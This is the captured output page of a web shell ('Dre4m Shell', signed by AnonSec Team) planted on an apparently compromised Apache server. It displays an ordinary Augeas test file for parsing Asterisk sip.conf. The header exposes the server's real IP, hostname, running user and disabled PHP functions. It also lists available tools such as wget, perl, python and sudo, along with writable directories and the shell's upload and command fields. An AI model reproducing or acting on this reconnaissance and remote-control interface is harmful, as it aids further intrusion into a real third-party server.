Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.219.247.59
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/2/cwd/proc/self/root/proc/self/root/usr/share/augeas/lenses/dist/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/2/cwd/proc/self/root/proc/self/root/usr/share/augeas/lenses/dist/tests/test_sip_conf.aug
module Test_sip_conf =

let conf = "[general]
context=default                 ; Default context for incoming calls
udpbindaddr=0.0.0.0             ; IP address to bind UDP listen socket to (0.0.0.0 binds to all)
; The address family of the bound UDP address is used to determine how Asterisk performs
; DNS lookups. In cases a) and c) above, only A records are considered. In case b), only
; AAAA records are considered. In case d), both A and AAAA records are considered. Note,


[basic-options-title](!,superclass-template);a template for my preferred codecs !@#$%#@$%^^&%%^*&$%
        #comment after the title
        dtmfmode=rfc2833
        context=from-office
        type=friend


[my-codecs](!)                    ; a template for my preferred codecs
        disallow=all
        allow=ilbc
        allow=g729
        allow=gsm
        allow=g723
        allow=ulaw

[2133](natted-phone,my-codecs) ;;;;; some sort of comment
       secret = peekaboo
[2134](natted-phone,ulaw-phone)
       secret = not_very_secret
[2136](public-phone,ulaw-phone)
       secret = not_very_secret_either
"

test Sip_Conf.lns get conf =
  { "title" = "general"
    { "context" = "default"
      { "#comment" = "Default context for incoming calls" }
    }
    { "udpbindaddr" = "0.0.0.0"
      { "#comment" = "IP address to bind UDP listen socket to (0.0.0.0 binds to all)" }
    }
    { "#comment" = "The address family of the bound UDP address is used to determine how Asterisk performs" }
    { "#comment" = "DNS lookups. In cases a) and c) above, only A records are considered. In case b), only" }
    { "#comment" = "AAAA records are considered. In case d), both A and AAAA records are considered. Note," }
    {  }
    {  }
  }
  { "title" = "basic-options-title"
    { "@is_template" }
    { "@use_template" = "superclass-template" }
    { "#title_comment" = ";a template for my preferred codecs !@#$%#@$%^^&%%^*&$%" }
    { "#comment" = "comment after the title" }
    { "dtmfmode" = "rfc2833" }
    { "context" = "from-office" }
    { "type" = "friend" }
    {  }
    {  }
  }
  { "title" = "my-codecs"
    { "@is_template" }
    { "#title_comment" = "                    ; a template for my preferred codecs" }
    { "disallow" = "all" }
    { "allow" = "ilbc" }
    { "allow" = "g729" }
    { "allow" = "gsm" }
    { "allow" = "g723" }
    { "allow" = "ulaw" }
    {  }
  }
  { "title" = "2133"
    { "@use_template" = "natted-phone" }
    { "@use_template" = "my-codecs" }
    { "#title_comment" = " ;;;;; some sort of comment" }
    { "secret" = "peekaboo" }
  }
  { "title" = "2134"
    { "@use_template" = "natted-phone" }
    { "@use_template" = "ulaw-phone" }
    { "secret" = "not_very_secret" }
  }
  { "title" = "2136"
    { "@use_template" = "public-phone" }
    { "@use_template" = "ulaw-phone" }
    { "secret" = "not_very_secret_either" }
  }

  (*********************************************
  * Tests for update, create, delete
  *
  *********************************************)
  
  (*********************************************
  * Test to confirm that we can update the
  * default context
  *
  *********************************************)
  test Sip_Conf.lns put "[general]\ncontext=default\n" after
      set "title[.='general']/context" "updated"
  = "[general]\ncontext=updated
"

  (*********************************************
  * Test to confirm that we can create a
  * new title with a context
  *
  *********************************************)
  test Sip_Conf.lns put "[general]\ncontext=default\n" after
      set "/title[.='newtitle']" "newtitle"; set "/title[.='newtitle']/context" "foobarbaz"
  = "[general]\ncontext=default
[newtitle]
context=foobarbaz
"


Anon7 - 2022
AnonSec Team